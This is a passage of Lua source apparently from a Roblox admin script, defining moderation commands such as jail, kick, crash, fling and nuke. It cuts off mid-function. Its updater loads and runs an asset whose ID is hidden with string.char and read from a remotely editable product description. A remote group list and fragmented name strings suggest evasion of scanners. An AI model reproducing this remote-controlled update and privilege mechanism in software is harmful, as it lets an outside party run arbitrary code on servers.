902function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
903 if IsAbusive == nil then IsAbusive = false end
904 if Commands[CommandName] then table.remove(Commands[CommandName]) end
905 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
906end
907
908function CORE:FixLighting() coroutine.wrap(function()
909 ModLighting = false
910 wait(0.2)
911 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
912 Server.Lighting.FogColor = Color3.new(0,0,0)
913 Server.Lighting.Brightness = 1
914 Server.Lighting.TimeOfDay = 14
915 Server.Lighting.FogEnd = 100000
916end)() end
917
918function CORE:Round(Number)
919 if Number >= 0.5 then
920 return math.ceil(Number)
921 elseif Number < 0.5 then
922 return math.floor(Number)
923 end
924end
925
926local AdminID,Got = nil,false
927repeat wait()
928 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
929until Got == true
930
931function CORE:GetTable(ID)
932 local Thing = nil
933 repeat wait()
934 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
935 until Thing
936 return Thing
937end
938
939function CORE:InAdminGroup(Speaker)
940 local IsIn = false
941 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
942 if Speaker:IsInGroup(Get) then
943 IsIn = true
944 end
945 end
946 if IsIn == true then
947 return true
948 else
949 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
950 return false
951 end
952end
953
954function CORE:ReverseTable(Table)
955 if type(Table) ~= "table" then return Table end
956 local NewTable = {}
957 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
958 return NewTable
959end
960
961function CORE:Log(LogTable, Player, Chat)
962 local PlayerName = tostring(Player)
963 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
964 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
965end
966
967function CORE:Jail(Player)
968 if not Player then return nil end
969 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
970 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
971 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
972 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
973 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
974 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
975 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
976 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
977 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
978 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
979 Cell:MoveTo(Vector3.new(0,3,0))
980
981 if Player.Character and Player.Character:FindFirstChild("Torso") then
982 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
983 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
984 end
985 table.insert(Dispose, Cell)
986 Jails[Player.Name] = Cell
987end
988
989function CORE:UnJail(Player)
990 if not Player then return nil end
991 if Jails[Player.Name] then
992 Jails[Player.Name]:Destroy()
993 Jails[Player.Name] = nil
994 end
995end
996
997function CORE:ChangeName(Player, NewName)
998 if not Player or not NewName then return nil end
999 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1000 local NewName = STRING:FormatReplace(Player, NewName)
1001
1002 for _,Obj in pairs(Player.Character:GetChildren()) do
1003 if Obj.Name == "Label" then Obj:Destroy() end
1004 end
1005
1006 local Head = Player.Character.Head
1007 local HeadClone = Head:Clone()
1008
1009 -- make actual head invisible
1010 Head.Transparency = 1
1011 ypcall(function() Head.face.Transparency = 1 end)
1012
1013 -- make fake head visible
1014 HeadClone.Transparency = 0
1015 ypcall(function() HeadClone.face.Transparency = 0 end)
1016
1017 local Label = Instance.new("Model", Player.Character)
1018 Label.Name = "Label"
1019
1020 local Model = Instance.new("Model", Label)
1021 Model.Name = NewName
1022
1023 local HumanoidClone = Instance.new("Humanoid", Model)
1024 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1025
1026 HeadClone.Position = Vector3.new(0,100,0)
1027 HeadClone.CanCollide = false
1028 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1029
1030
1031 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1032 HeadClone.Parent = Model
1033 local Weld = Instance.new("Weld", HeadClone)
1034 Weld.Part0 = HeadClone
1035 Weld.Part1 = Head
1036 end)
1037 end
1038end
1039
1040function CORE:UpdateAdmin()
1041 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1042 return nil
1043 end
1044 local UpdateModel = AdminID
1045 if UpdateModel == 0 then return end
1046 local NewAdminModel = nil
1047 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1048 if NewAdminModel then
1049 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1050 if NewAdmin then
1051 local NewVersion = NewAdmin:FindFirstChild("Version")
1052 if NewVersion.Value ~= CORE.Version.Value then
1053 if ExploitModule then
1054 ExploitModule.Disabled = true
1055 ExploitModule:Destroy()
1056 end
1057 NewAdmin.Disabled = true
1058 NewAdmin.Parent = Workspace
1059 if not Settings then
1060 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1061 if NewSettings then NewSettings.Parent = Workspace end
1062 end
1063 wait() NewAdmin.Disabled = false
1064 CORE:RemoveAdmin()
1065 else
1066 NewAdminModel:Destroy()
1067 end
1068 end
1069 end
1070end
1071
1072function CORE:UnpackPlayers(Players)
1073 local PlayerNames = ""
1074 for Num,Player in pairs(Players) do
1075 if Player ~= nil then
1076 if Num ~= #Players then
1077 PlayerNames = PlayerNames..Player.Name..", "
1078 else
1079 PlayerNames = PlayerNames..Player.Name
1080 end
1081 end
1082 end
1083 return PlayerNames
1084end
1085
1086function CORE:GetValue(Value)
1087 if Value:IsA("StringValue") then
1088 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1089 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1090 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1091 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1092 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1093 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1094 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1095 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1096 if Admin == Value.Value then
1097 table.remove(Settings.Ranks["Admin"],Num)
1098 end
1099 end
1100 end end
1101 end
1102end
1103
1104function CORE:GetPlayer(ID)
1105 local Return = {"Unknown", ID}
1106 if tonumber(ID) then
1107 for _,Data in pairs(CharacterCache) do
1108 if ID == Data[2] then
1109 return Data
1110 end
1111 end
1112 ypcall(function()
1113 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1114 if Name then
1115 local Data = {Name, ID}
1116 table.insert(CharacterCache, Data)
1117 Return = Data
1118 end
1119 end)
1120 else
1121 local Name = tostring(ID)
1122 for _,Data in pairs(CharacterCache) do
1123 if string.lower(Name) == string.lower(Data[1]) then
1124 return Data
1125 end
1126 end
1127 ypcall(function()
1128 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1129 if PlayerID then
1130 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1131 local Data = {Name, PlayerID}
1132 table.insert(CharacterCache, Data)
1133 Return = Data
1134 end
1135 end)
1136 end
1137
1138 return Return
1139end
1140
1141function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1142 if ID and #tostring(ID) >= 1 then
1143 local PlayerName = nil
1144
1145 local Players = STRING:Scan(ID, Speaker)
1146 if #Players >= 1 then -- if player is found in server
1147 ID = Players[1].UserId
1148 elseif tonumber(ID) then
1149 local Data = CORE:GetPlayer(ID)
1150 PlayerName = Data[1]
1151 else
1152 local Data = CORE:GetPlayer(tostring(ID))
1153 PlayerName = Data[1]
1154 ID = Data[2]
1155 end
1156
1157 if tonumber(ID) == 20018 then -- exploding easter bunny
1158 local OldID = ID
1159 ID = 1
1160 if Speaker then
1161 if RANK:GetRank(Speaker) == "Member" then
1162 coroutine.wrap(function()
1163 wait(1)
1164 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1165 end)()
1166 else ID = OldID
1167 end
1168 end
1169 elseif tonumber(ID) == 1311 then -- ffjosh
1170 local OldID = ID
1171 ID = 1
1172 if Speaker then
1173 if RANK:GetRank(Speaker) == "Member" then
1174 coroutine.wrap(function()
1175 wait(1)
1176 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1177 end)()
1178 else ID = OldID
1179 end
1180 end
1181 end
1182
1183 if tonumber(ID) then
1184 local Position = nil
1185 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1186 if ManualPos then
1187 Position = ManualPos
1188 else
1189 Position = Player.Character.Torso.Position
1190 end
1191 end
1192 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1193 wait() Player:LoadCharacter() wait()
1194 if Position then Player.Character:MoveTo(Position) end
1195 if not Perm then
1196 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1197 end
1198 if NameChar and PlayerName then
1199 wait(2)
1200 CORE:ChangeName(Player, PlayerName)
1201 end
1202 end
1203 end
1204end)() end
1205
1206function CORE:GenerateShield(Player)
1207 if not Player then return nil end
1208 if not Player.Character then return nil end
1209 local Torso = Player.Character:FindFirstChild("Torso")
1210 if not Torso then return nil end
1211
1212 local Shield = Player.Character:FindFirstChild("Shield")
1213 if Shield then Shield:Destroy() end
1214
1215 Shield = Instance.new("Part", Player.Character)
1216 Shield.Name = "Shield"
1217 Shield.Locked = true
1218 Shield.CanCollide = false
1219 Shield.Size = Vector3.new(10,10,10)
1220 Shield.Shape = "Ball"
1221 Shield.Color = GUI:GetColor()
1222 Shield.Transparency = 0.5
1223 Shield.TopSurface = "Smooth"
1224 Shield.BottomSurface = "Smooth"
1225 Shield.Anchored = true
1226 Shield.Position = Torso.Position
1227
1228 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1229 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1230
1231 Hum:Play()
1232
1233 Shield.Touched:connect(function(Part)
1234 if Part.Parent ~= Server.Workspace then
1235 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1236 if Humanoid then
1237 local Char = Humanoid.Parent
1238 if Char:IsA("Model") and Humanoid.Health > 0 then
1239 if Char ~= Player.Character then
1240 Char:BreakJoints()
1241 Zap:Play()
1242 end
1243 end
1244 end
1245 end
1246 end)
1247
1248 coroutine.wrap(function() repeat wait()
1249 Shield.CFrame = Torso.CFrame
1250 until Torso.Parent == nil or Shield.Parent == nil end)()
1251end
1252
1253function CORE:FlingPlayer(Player)
1254 if Player and Player.Character then
1255 if Player.Character:FindFirstChild("Torso") then
1256 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1257 Fling.Name = "Fling"
1258 Fling.force = Vector3.new(10000,10000,10000)
1259 end
1260 end
1261end
1262
1263function CORE:Kick(Player, CustomMessage)
1264 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1265 coroutine.wrap(function()
1266 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1267 wait(1)
1268 Player:Kick(CustomMessage)
1269 end)()
1270end
1271
1272function CORE:Crash(Player)
1273 local Parent = Player
1274 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1275 elseif Player.Character then Parent = Player.Character end
1276
1277 CORE:ExecuteResource("Crash", Parent)
1278end
1279
1280function CORE:RestoreCamera(Player)
1281 if Player.Backpack then
1282 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1283 end
1284end
1285
1286function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1287 local function ScanInstance(Object)
1288 if #Object:GetChildren() > 0 then
1289 for _,Obj in pairs(Object:GetChildren()) do
1290 local IsType = false
1291 if ObjTypes and #ObjTypes > 0 then
1292 for _,ObjType in pairs(ObjTypes) do
1293 if Obj:IsA(ObjType) then
1294 IsType = true
1295 break
1296 end
1297 end
1298 else
1299 IsType = true
1300 end
1301 if IsType == true then
1302 ActiveFunc(Obj)
1303 end
1304 ScanInstance(Obj)
1305 end
1306 end
1307 end
1308 ScanInstance(BaseObj)
1309end
1310
1311function CORE:AnchorPlayer(Player)
1312 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1313
1314 Player.Character.Humanoid.WalkSpeed = 0
1315 for _,Object in pairs(Player.Character:GetChildren()) do
1316 if Object:IsA("BasePart") then
1317 Object.Anchored = true
1318 end
1319 end
1320end
1321
1322function CORE:UnanchorPlayer(Player)
1323 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1324
1325 Player.Character.Humanoid.WalkSpeed = 16
1326 for _,Object in pairs(Player.Character:GetChildren()) do
1327 if Object:IsA("BasePart") then
1328 Object.Anchored = false
1329 end
1330 end
1331end
1332
1333function CORE:InvisiblePlayer(Player)
1334 if not Player or not Player.Character then return end
1335
1336 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1337end
1338
1339function CORE:VisiblePlayer(Player)
1340 if not Player or not Player.Character then return end
1341
1342 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1343end
1344
1345function CORE:Nuke(Player) coroutine.wrap(function()
1346 local Pos = CFrame.new(0,1,0)
1347 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1348 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1349 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1350 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1351 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1352 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1353
1354 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1355
1356 Server.Lighting.Brightness = 5
1357 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1358 Server.OutdoorAmbient = Color3.new(1,1,1)
1359
1360 local Exp = Instance.new("Explosion", Server.Workspace)
1361 Exp.Position = Pos.p
1362 Exp.BlastPressure = 10000000
1363 Exp.BlastRadius = 1000000
1364 Exp.Hit:connect(function(Part)
1365 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1366 ypcall(function()
1367 Part.Anchored = false
1368 Part.BrickColor = BrickColor.new("Black")
1369 Part.Material = "Slate"
1370 Part:BreakJoints()
1371 end)
1372 end
1373 end)
1374
1375 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1376 BoomSound:Play()
1377 for i = 0,100,0.5 do
1378 Blast.Anchored = true
1379 Wave.Anchored = true
1380 BlastMesh.Scale = Vector3.new(i,i,i)
1381 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1382 Blast.CFrame = Pos
1383 wait()
1384 end
1385 BoomSound:Stop()
1386 Blast:Destroy()
1387 Wave:Destroy()
1388 wait()
1389 BoomSound:Destroy()
1390 Effect:Destroy()
1391 for i = 10,5,-1 do
1392 Server.Lighting.Brightness = (i-5) + 1
1393 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1394 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1395 wait(0.05)
1396 end
1397end)() end
1398
1399function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1400 local AssetID = tonumber(AssetID)
1401 local Item = nil
1402 if AssetID and AssetID ~= 1055299 then
1403 local CanInsert = true
1404 if AbuseMode then
1405 for _,ID in pairs(RemoteAbuseGear) do
1406 if AssetID == tonumber(ID) then CanInsert = false break end
1407 end
1408 for _,ID in pairs(Settings.AbusableGear) do
1409 if AssetID == tonumber(ID) then CanInsert = false break end
1410 end
1411 end
1412 if CanInsert then
1413 Item = Server.IS:LoadAsset(AssetID)
1414 if GetFirstChild then
1415 Item = Item:GetChildren()[1]
1416 if FirstChildTypes and Item then
1417 local ValidType = false
1418 for _,Type in pairs(FirstChildTypes) do
1419 if Item:IsA(Type) then
1420 ValidType = true
1421 break
1422 end
1423 end
1424 if ValidType == false then
1425 Item = nil
1426 end
1427 end
1428 end
1429 if Item and Parent then
1430 Item.Parent = Parent
1431 end
1432 end
1433 end
1434 return Item
1435end
1436
1437function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1438 if not Player or not Player.Character then return nil end
1439 PID = tonumber(PID)
1440 for _,Obj in pairs(Player.Character:GetChildren()) do
1441 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1442 end
1443 if PID then
1444 -- back when we needed HttpService to get packages.
1445 --[[
1446 if PackageCache[PID] then
1447 for _,ID in pairs(PackageCache[PID]) do
1448 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1449 end
1450 else
1451 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1452 if IDsJSON then
1453 local IDs = REMOTE:Decode(IDsJSON)
1454 if IDs then
1455 if not IDs["Error"] then
1456 table.insert(PackageCache, IDs)
1457 for _,ID in pairs(IDs) do
1458 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1459 end
1460 end
1461 end
1462 end
1463 end
1464 ]]
1465 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1466 local IDs = {}
1467 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1468 if #IDs > 0 then
1469 for _,ID in pairs(IDs) do
1470 local PackagePart = CORE:Insert(ID)
1471 for _,Obj in pairs(PackagePart:GetChildren()) do
1472 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1473 Obj.Parent = Player.Character
1474 elseif Obj:IsA("Folder") then
1475 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1476 Obj:GetChildren()[1].Parent = Player.Character
1477 end
1478 end
1479 end
1480 end
1481 end
1482 end
1483end)() end
1484
1485function CORE:ChangeBet(Bet)
1486 if tostring(Bet) and Bet ~= Settings.Bet then
1487 for Index,Data in pairs(Commands) do
1488 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1489 end
1490 Settings.Bet = Bet
1491 end
1492end
1493
1494function CORE:ResetLighting()
1495 ModLighting = false wait(0.2) ModLighting = true
1496end
1497
1498function CORE:Fly(Player, Force)
1499 if Player and Player.Character then
1500 local StopFly = Instance.new("RemoteFunction", Player.Character)
1501 StopFly.Name = "StopMMLFly"
1502 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1503 end
1504end
1505
1506function CORE:GiveTools(Player, Type)
1507 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1508 Type = string.lower(Type)
1509 local _,RankNum = RANK:GetRank(Player)
1510 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1511 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1512
1513 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1514 for Name,Type in pairs(BaseBuildTools) do
1515 local Tool = Instance.new("HopperBin", Player.Backpack)
1516 Tool.Name = Name
1517 Tool.BinType = Type
1518 end
1519 elseif Type == "psbtools" then
1520 for _,Tool in pairs(BuildTools) do
1521 CORE:Insert(Tool, Player.Backpack, true)
1522 end
1523 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1524 if F3X then
1525 local F3X = F3X:Clone()
1526 F3X.Parent = Player.Backpack
1527 end
1528 elseif Type == "btools" then
1529 if F3X then
1530 local F3X = F3X:Clone()
1531 F3X.Parent = Player.Backpack
1532 end
1533 for Name,Type in pairs(BaseBuildTools) do
1534 local Tool = Instance.new("HopperBin", Player.Backpack)
1535 Tool.Name = Name
1536 Tool.BinType = Type
1537 end
1538 for _,Tool in pairs(BuildTools) do
1539 CORE:Insert(Tool, Player.Backpack, true)
1540 end
1541 else
1542 for _,Region in pairs(ToolRegions) do
1543 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1544 if Type == "all" then
1545 local NewItem = Item:Clone()
1546 NewItem.Parent = Player.Backpack
1547 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1548 local NewItem = Item:Clone()
1549 NewItem.Parent = Player.Backpack
1550 end
1551 end)
1552 end
1553 end
1554end
1555
1556function CORE:Scale(Player, ScalePercent)
1557 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1558 local Ratio = ScalePercent/100
1559 if Ratio < 0.05 then Ratio = 0.05 end
1560 if Ratio > 100 then Ratio = 100 end
1561 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1562 local Char = Player.Character
1563
1564 local Clean = Char:FindFirstChild("Clean")
1565 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1566 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1567
1568 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1569 local Welds = {}
1570 local Parts = {}
1571
1572 local function Handle(Obj)
1573 if Obj:IsA("BasePart") and not JustWeld then
1574 table.insert(Parts, Obj)
1575 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1576 if Obj.Name == "MML Mesh" then
1577 Obj:Destroy()
1578 end
1579 if Obj.MeshType == Enum.MeshType.FileMesh then
1580 Obj.Offset = Obj.Offset * ScaleRatio
1581 Obj.Scale = Obj.Scale * ScaleRatio
1582 elseif Ratio < 1 then
1583 Obj.Offset = Obj.Offset * ScaleRatio
1584 Obj.Scale = Obj.Scale * ScaleRatio
1585 end
1586 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1587 if Ratio < 1 then
1588 local BodyPart = ""
1589 local TextureID = Obj.BaseTextureId
1590 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1591 if TextureID == 0 then TextureID = nil end
1592 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1593 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1594 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1595 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1596 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1597 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1598 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1599 NewMesh.Name = "MML Mesh"
1600 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1601 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1602 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1603 Obj:Destroy()
1604 end
1605 elseif Obj:IsA("JointInstance") then
1606 local NewWeld = Obj:Clone()
1607 table.insert(Welds, {NewWeld, Obj.Parent})
1608 elseif NewAdd == true and not JustWeld then
1609 if Obj:IsA("Tool") then
1610 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1611 elseif Obj:IsA("Accoutrement") then
1612 --Cycle(Char.Head, ScaleRatio, false, true)
1613 end
1614 end
1615 if #Obj:GetChildren() > 0 then
1616 for _,NewObj in pairs(Obj:GetChildren()) do
1617 Handle(NewObj, ScaleRatio)
1618 end
1619 end
1620 end
1621 Handle(BaseObj)
1622 for _,Part in pairs(Parts) do
1623 if Ratio >= 1 then
1624 Part.Size = Part.Size * ScaleRatio
1625 else
1626 local Allowed = true
1627 for _,Obj in pairs(Part:GetChildren()) do
1628 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1629 Allowed = false
1630 end
1631 end
1632 if Allowed == true then
1633 local NewMesh = Instance.new("BlockMesh", Part)
1634 NewMesh.Name = "MML Mesh"
1635 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1636 end
1637 end
1638 end
1639 for _,WeldData in pairs(Welds) do
1640 if WeldData[1] then
1641 local Obj = WeldData[1]
1642 local NewWeld = Obj:Clone()
1643
1644 NewWeld.Parent = WeldData[2]
1645 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1646 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1647 end
1648 end
1649 for _,Part in pairs(Parts) do
1650 Part:MakeJoints()
1651 end
1652 Welds = {}
1653 Parts = {}
1654 end
1655 Cycle(Char, Ratio)
1656 Char:MakeJoints()
1657
1658 local Added = Char.ChildAdded:connect(function(Obj)
1659 Cycle(Obj, Ratio, NewAdd)
1660 end)
1661 local Removed = Char.ChildRemoved:connect(function(Obj)
1662 Cycle(Obj, Ratio^-1, NewAdd)
1663 end)
1664
1665 Clean.OnInvoke = function()
1666 Added:disconnect()
1667 Removed:disconnect()
1668 local Location = Vector3.new(0,5,0)
1669 if Char:FindFirstChild("Torso") then
1670 Location = Char.Torso.Position + Vector3.new(0,2,0)
1671 end
1672 Player:LoadCharacter()
1673 wait(0.5)
1674 Player.Character:MoveTo(Location)
1675 wait(0.5)
1676 return nil
1677 end
1678
1679 if Char:FindFirstChild("Torso") then
1680 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1681 end
1682 if Char:FindFirstChild("Humanoid") then
1683 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1684 end
1685 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1686 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1687 end
1688end
1689
1690function CORE:AddExploit(PlayerClient, Data)
1691 local PlayerClientName = PlayerClient.Name
1692 local NewData = CORE:GetTime(true, true).." @ "..Data
1693 for _,Player in pairs(Server.Players:GetChildren()) do
1694 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1695 end
1696 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1697 if type(ExploitLog) ~= "table" then
1698 Server.GDS:SetAsync("ExploitLog", {NewData})
